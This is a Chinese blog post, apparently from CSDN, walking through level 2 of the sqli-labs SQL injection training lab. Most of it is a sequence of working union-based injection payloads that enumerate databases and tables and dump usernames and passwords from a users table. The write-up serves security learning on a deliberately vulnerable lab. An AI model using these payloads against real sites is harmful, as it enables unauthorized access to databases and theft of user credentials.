sqli-labs系列——第二关

最新推荐文章于 2024-05-20 16:27:21 发布

Drunkmars

最新推荐文章于 2024-05-20 16:27:21 发布

阅读量247

点赞数

分类专栏： sqli-labs

本文链接：https://blog.csdn.net/qq_51923959/article/details/112667793

版权

sqli-labs 专栏收录该内容

6 篇文章 0 订阅

订阅专栏

本文探讨了一种常见的Web安全问题——SQL注入，通过案例展示了如何利用注入漏洞获取数据库信息，包括数据库名、列名及用户账号密码。利用0x3a字符将账号和密码合并，便于观察。这些攻击手段提醒我们重视SQL安全防护和输入验证。

摘要由CSDN通过智能技术生成

less2

and 1=1有回显，and 1=2无回显，为数值型注入
在这里插入图片描述

order by 4–+报错，有3行

在这里插入图片描述
查询数据库名

?id=0' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

在这里插入图片描述

查询列名

?id=0 union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

在这里插入图片描述

查询账号密码

?id=0 union select 1,(select group_concat(username) from users),(select group_concat(password) from users)--+

在这里插入图片描述

这里因为跟第一关大同小异，字段类型都是一样的，可以直接用exp去爆

exp：?id=-1 union SELECT 1,2,(select group_concat(username,0x3a,password) from users)--+
在这里插入图片描述

这里解释一下0x3a的用途：把账号和密码整合到一起更直观的显示

Drunkmars

关注

0
点赞
踩
2

收藏

觉得还不错? 一键收藏
0
评论
sqli-labs系列——第二关

less2and 1=1有回显，and 1=2无回显，为数值型注入order by 4–+报错，有3行查询数据库名?id=0' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+查询列名?id=0 union select 1,(select group_concat(schema_name) from information_schema.schemata),(
复制链接

扫一扫

专栏目录